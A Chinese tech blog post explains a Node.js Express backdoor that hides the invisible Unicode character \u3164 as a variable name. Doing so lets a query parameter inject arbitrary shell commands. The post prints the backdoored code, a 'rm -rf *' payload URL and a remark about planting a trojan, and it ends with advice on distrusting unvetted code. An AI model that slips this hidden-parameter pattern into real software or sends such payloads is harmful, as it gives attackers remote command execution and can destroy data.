親眼所見,也非真實(shí),如何明目張膽架設(shè)后門程序
以前有人說,開源項目非常安全,因?yàn)檎l都可以看到代碼,所以不怕里面藏有后門。
這樣的言論顯然非常天真,一來,并不會有很多人真的去看源代碼;二來,有一些缺陷隱藏得很深,光看源代碼看不出來,例如 log4j2;第三,有辦法把后門藏在一段非常安全的代碼里面,你即使看源代碼也看不出哪里有問題。
今天這個案例,是我在網(wǎng)上閑逛(mo yu)的時候偶然發(fā)現(xiàn)的,它的做法非常精巧,可以稱得上是光明正大開后門。
案例文章的原始地址是:The Invisible JavaScript Backdoor[1]這篇文章給出了一段看起來非常安全的Node.js 的代碼:
const?express?=?require('express');
const?util?=?require('util');
const?exec?=?util.promisify(require('child_process').exec);
const?app?=?express();
app.get('/network_health',?async?(req,?res)?=>?{
????const?{?timeout,?}?=?req.query;
????const?checkCommands?=?[
????????'ping?-c?1?google.com',
????????'curl?-s?http://example.com/',?
????];
????try?{
????????await?Promise.all(checkCommands.map(cmd?=>?
????????????????cmd?&&?exec(cmd,?{?timeout:?+timeout?||?5_000?})));
????????res.status(200);
????????res.send('ok');
????}?catch(e)?{
????????res.status(500);
????????res.send('failed');
????}
});
app.listen(8080);
這段代碼使用 Express 框架搭建了一個 API 接口,當(dāng)你調(diào)用http://127.0.0.1:8080/network_health的時候,后臺會首先ping一下 Google,然后再使用curl訪問http://example.com。
如果都成功了,那么顯然你的網(wǎng)絡(luò)是正常的,于是給你返回ok。你也可以設(shè)置參數(shù)timeout=xxx來限定這兩個測試必需在多長時間內(nèi)完成,否則視為網(wǎng)絡(luò)有問題。
這個功能簡單得不能再簡單了,能有什么問題呢?我現(xiàn)在就把代碼放到你的面前讓你來Review,你能說我的代碼有問題?
但實(shí)際上,上面這段代碼確實(shí)有一個后門,可以讓我在部署了這個接口的機(jī)器上執(zhí)行任意命令,包括但不限于下載木馬或者rm -rf *。
這段代碼的問題,就出現(xiàn)在圖中我畫箭頭的這兩個地方:

這兩個地方的逗號后面,并不是空格,而是一個看不見的符號:\u3164。我們知道,在 JavaScript 里面,幾乎任何非關(guān)鍵字的Unicode 符號都可以用來當(dāng)做變量名。而\u3164也是一個 Unicode 字符,所以它顯然也可以當(dāng)做變量名。
我們來看上面代碼中,執(zhí)行命令的地方:
const?checkCommands?=?[
????????'ping?-c?1?google.com',
????????'curl?-s?http://example.com/',?
????];
????try?{
????????await?Promise.all(checkCommands.map(cmd?=>?
????????????????cmd?&&?exec(cmd,?{?timeout:?+timeout?||?5_000?})));
這里,Node.js 會調(diào)用系統(tǒng) Shell 執(zhí)行數(shù)組checkCommands中的兩條命令。如果我這樣寫:
const?hide_command?=?'rm?-rf?*'
const?checkCommands?=?[
????????'ping?-c?1?google.com',
????????'curl?-s?http://example.com/',?hide_command
????];
那你肯定知道我執(zhí)行了三條命令,其中第三個命令會刪除電腦里面的文件。現(xiàn)在,我把里面的名字hide_command換成\u3164:
const???=?'rm?-rf?*'
const?checkCommands?=?[
????????'ping?-c?1?google.com',
????????'curl?-s?http://example.com/',?
????];
你雖然可能會覺得const ? = 'rm -rf *'有點(diǎn)奇怪,但你應(yīng)該不會懷疑下面的數(shù)組有什么問題。因?yàn)樵谀愕难劾?,這個數(shù)組只有兩條命令,但它實(shí)際上有三條命令。
而這段攻擊代碼,把const ? = 'rm -rf *'這個奇怪的賦值語句也給隱藏到了const { timeout,?} = req.query;當(dāng)中。因?yàn)樵?Express 中,我們可以這樣設(shè)置 URL 參數(shù):
const?{id,?name,?type}?=?req.query;
那么,你在 URL 里面就可以使用這三個參數(shù):http://127.0.0.1:8000/network_health?id=xxx&name=yyy&type=zzz?,F(xiàn)在,這段有后門的代碼,其實(shí)會接收兩個參數(shù),分別是timeout和?,其中后者這個看起來像是空格的就是\u3164,也就是變量名。
所以,我可以通過訪問 URL:http://127.0.0.1:8000/network_health?timeout=10&?=rm -rf *。把刪除系統(tǒng)文件的命令傳入進(jìn)來。這里可以傳入任何 Shell 命令,如果不想刪除對方的系統(tǒng),那么可以通過執(zhí)行 Shell 下載一個木馬程序到對方的電腦上,然后就可以每天遠(yuǎn)程偷偷監(jiān)控對方在干什么了。
總結(jié)
這樣的后門真的是防不勝防。我也沒有什么好辦法能避免被欺騙。例如你在Github 上面看到有人開源了一個基于 Node.js 實(shí)現(xiàn)的電商系統(tǒng),于是你就把它拿來用,搭建出了你自己的在線商城賣點(diǎn)小東西。也許某一天,你會發(fā)現(xiàn)你的賬目對不上,也許就是因?yàn)檫@個系統(tǒng)里面留有這樣的后門?
只能說最好的辦法就是不要運(yùn)行來歷不明的代碼,也不要因?yàn)榇a是開源項目,就盲目覺得它很安全。
參考文獻(xiàn)
[1]?The Invisible JavaScript Backdoor:?
https://certitude.consulting/blog/en/invisible-backdoor/
- EOF -
推薦閱讀??點(diǎn)擊標(biāo)題可跳轉(zhuǎn)1、JS 即將發(fā)布數(shù)組的 4 個新特性,真香!
2、24 個 JavaScript 循環(huán)遍歷方法,你都知道嗎?
3、原開發(fā)者出局,F(xiàn)aker.js 已被社區(qū)控制
覺得本文對你有幫助?請分享給更多人
推薦關(guān)注「前端大全」,提升前端技能
點(diǎn)贊和在看就是最大的支持??
